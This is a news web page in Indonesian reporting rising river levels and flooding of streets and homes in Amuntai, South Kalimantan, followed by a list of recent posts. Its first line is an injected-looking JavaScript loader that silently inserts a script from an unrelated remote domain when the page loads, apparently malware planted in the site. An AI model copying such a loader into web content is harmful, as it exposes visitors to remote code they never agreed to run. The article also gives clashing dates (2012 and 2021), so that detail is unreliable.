(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Debit Air Sungai Meningkat, Sejumlah Jalan Protokol Kota Amuntai Mulai Tenggelam


KANALKALIMANTAN.COM, AMUNTAI – Menyusul semakin meluapnya Sungai Tabalong dan Balangan yang bermuara di Sungai Negara di Kabupaten Hulu Sungai Utara (HSU) kini banjir di sebagian wilayah Hulu Sungai Utara semakin meluas.

Dari Pemantauan TRC BPBD Kabupaten HSU, Minggu (17/1/2012) pukul 14.00 Wita, debit air sungai mengalami peningkatan drastis yakni mencapai 343 cm. yang mana sebelumnya pada pukul 06.00 Wita masih 339 cm.

Akibatnya beberapa wilayah dan rumah warga HSU yang berada di bantaran sungai, sebagiannya sudah mulai terendam air dengan ketinggian bervariasi mulai dari semata kaki sampai dengan lutut orang dewasa.

Bahkan jalan protokol kota Amuntai juga sudah mulai digenangi air, seperti yang terjadi di kawasan perkantoran yakni di depan Kantor Dinas PUPR Kabupaten HSU, Kejaksaan Negeri HSU, Pengadilan Negeri Amuntai dan Dispersip HSU, Ketinggian air mencapai sekitar 30cm.

“Kami melaporkan peningkatan debit air, yang mana sampai saat ini debit air semakin meningkat dan ketinggian air mencapai 30cm” kata Anggota Bhabinkamtibmas Amuntai Tengah Iptu Rofik saat melakukan monitoring bersama anggota BPBD HSU di seputar kota Amuntai.

Sementara kondisi serupa juga terjadi di kawasan-kawasan lainnya di seputar kota Amuntai yang secara berangsur-angsur mengalami hal serupa seperti di kawasan, Desa Pelampitan Hilir, Desa Pekapuran Kecamatan Amuntai Utara dan beberapa kawasan lainnya.

Salah seorang warga Desa Pekapuran Ernawati mengaku sejak Sabtu (16/1/2021) kemarin, ia terpaksa tidak berjualan lantaran halaman rumahnya sudah digenangi air sejak pagi Sabtu.

“Bagaimana lagi, terpaksa tidak berjualan, seharusnya kami seperti ini mendapatkan bantuan juga karena tidak bisa berjualan” Ucap Ibu yang sehari-hari berjualan nasi goreng di depan rumahnya ini.

Ditemui terpisah, Kepala Badan Penanggulangan Bencana Daerah (BPBD) HSU Sungeng Riayadi sebelumnya sempat juga mewanti-wanti warga HSU agar tetap waspada terhadap bencana banjir dengan memperhatikan arus listrik jangan sampai tergenang air dan juga harus menjaga anggota keluarga pada saat banjir.

Bahkan Sungeng juga menyebut ada beberapa wilayah di kabupaten HSU yang selama ini menjadi langganan banjir, sehingga pihaknya memfokuskan khusus terhadap wilayah-wilayah tersebut
“Kecamatan Banjang, Amuntai Utara, Sei Pandan (Alabio), Amuntai Tengah, Amuntai Selatan. Sementara itu yang jadi fokus kita,” pungkasnya.(kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Cell

 

 


Al Ghifari

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

26 menit ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

52 menit ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

1 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

1 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

2 jam ago

This website uses cookies.